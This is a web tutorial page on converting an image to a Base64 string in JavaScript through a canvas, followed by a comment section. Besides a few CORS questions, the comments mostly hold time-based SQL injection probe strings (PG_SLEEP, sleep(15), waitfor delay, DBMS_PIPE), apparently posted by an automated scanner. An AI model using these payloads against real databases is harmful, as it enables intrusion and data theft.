A virtual teacher who reveals to you the great secrets of Base64

Convert image to Base64 in JavaScript

To convert image to Base64 and get the original Base64 string, I highly recommend using one of the following methods:

Of course, we can use new Image() to draw a canvas and using the toDataURL() method to get the Base64 string. But this can only be useful if you don’t need the original Base64 string and/or original image type. Also keep in mind that this method may return different results for the same image depending on the browser and operating system (you can get not only different Base64 values, but also slightly different images). If this is your case or you don’t worry about it, check the example below (it is supported by most popular browser, such as Chrome 4+, Edge 12+, Firefox 3.6+, Internet Explorer 9+, Safari 4+).

// To bypass errors (“Tainted canvases may not be exported” or “SecurityError: The operation is insecure”)
// The browser must load the image via non-authenticated request and following CORS headers
var img = new Image();
img.crossOrigin = 'Anonymous';

// The magic begins after the image is successfully loaded
img.onload = function () {
  var canvas = document.createElement('canvas'),
    ctx = canvas.getContext('2d');

  canvas.height = img.naturalHeight;
  canvas.width = img.naturalWidth;
  ctx.drawImage(img, 0, 0);

  // Unfortunately, we cannot keep the original image type, so all images will be converted to PNG
  // For this reason, we cannot get the original Base64 string
  var uri = canvas.toDataURL('image/png'),
    b64 = uri.replace(/^data:image.+;base64,/, '');

  console.log(b64); //-> "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4z8DwHwAFAAH/q842iQAAAABJRU5ErkJggg=="
};

// If you are loading images from a remote server, be sure to configure “Access-Control-Allow-Origin”
// For example, the following image can be loaded from anywhere.
var url = '//static.base64.guru/uploads/images/1x1.gif';
img.src = url;
Comments (22)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • ratha,
    hello everyone, how are you today?
    • Administrator,
      Hey! Today is the perfect day to learn and develop something new :)
    • Ratata,
      I am very strong! Do u know?
  • Ilya,
    i have error with CORS

    Access to image at '*/img_1.png' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https.

    GET */img_1.png net::ERR_FAILED


    What do with that?
    • Administrator,
      What's the full URL (you can hide the domain)? Are you sure that you can access it using your browser?
  • DAN,
    Ok opportunities
  • Kishan_Prajapat,
    Hi when I use this method then I got error of cross origin. Here is my URL:
    https://lh3.googleusercontent.com/lr/AHRh2pbpx0h3j4w089K6_JChmuqj80Roo703nkDTQvwiIbNh6WhUVG7ABVCI1hBAdKu3QOJyQJf3pjTJATmhJBMiXAqYZwlDp9fGWGUbUM0c5cDDggy3JrxSQr8oVYfIC5LZijIeno4gIustwOGpvTd8GM_Z06xZpgaZEfkIreCjz-a3tEQp8L9E2ryo24SpswhUMho387aOlmLsSKzkx5NbQKJ_GYIZXOAGwSdD7w0t0q1wbZibeqLA3iIVqwDIg5Nm19Lbk_EAdqq3PtJEMpKUAYTlivJLxD_wwPmKPhjEUZgEeMT7Y-q2yjYHmyiwkBHDZTKBz8aNdWJbA3fvDOX3r8P6mV4ZjbcTBWGvfGffo3G5ThDSWQc6NC_PsIdsEFharmzDqWamLDgjaB6v0Gd9__zg63wV1f0VjtAdhx2nGFmT93Qt7dXxtg6UsYVjvpB820WbuPtHusGHlIxT5Thr65NWjCWxL59SQ-KAFg51zWw73-wWPk2kZhyEwtXZGnHWThFarN0yvzd15RVv8ZhzlERn_vkxxzr0de75XUSA5zzDEeGl6yN67lldBmbfdBIWUKhcl_7meEadzG6oWZFh-LiD77gEylqSj-mbLtZz65bph_A1NNGqo2qAnkpYHDVjTAHIHPuREYesV5nz0QZ26jzDWey-OVDvyHVf6Tre1nJwTA_1U1vqTo3BeVsBiZ407gR8yF5cE8ACCc0S_c-CBPN47KInoMkLt1ip8rPOl6Vdz7EYdR2RbBs0ByRHQ4ZDv-dFtbOth8U5cBn-XY9xtPHAj6MCZY9DibJYiGzn_q7d24u9qfy4Pv7YhfO1KvsVASZcoerkJ6QmrlMEtBr3iKnV_c6YmUYhPWWBGEfoGYJR74QjMA-fwq8YHxgqEB0TcDeVr5goLZ89VExfxtaOrLerfHEhO-5oN-QUOB11LNv8Ne4xUMtVyI6UVEtIQtExTCC7kPWF8E9cjD-fldZ8VJrBs9lYRLElZXxGsXvbwEHN_-QPxOg_fbiST66z8sR_KWzwwOmujd7MOw
  • nqhXncMU,
    -5) OR 579=(SELECT 579 FROM PG_SLEEP(15))--
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    1
  • gBqsPxAZ,
    -1 OR 2+481-481-1=0+0+0+1
  • gBqsPxAZ,
    -5) OR 756=(SELECT 756 FROM PG_SLEEP(15))--
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    -1 OR 2+526-526-1=0+0+0+1
  • ncMUFCMU,
    FOJUEmLz' OR 934=(SELECT 934 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    oXYl6McX'; waitfor delay '0:0:15' --
  • fHLvlxbf,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.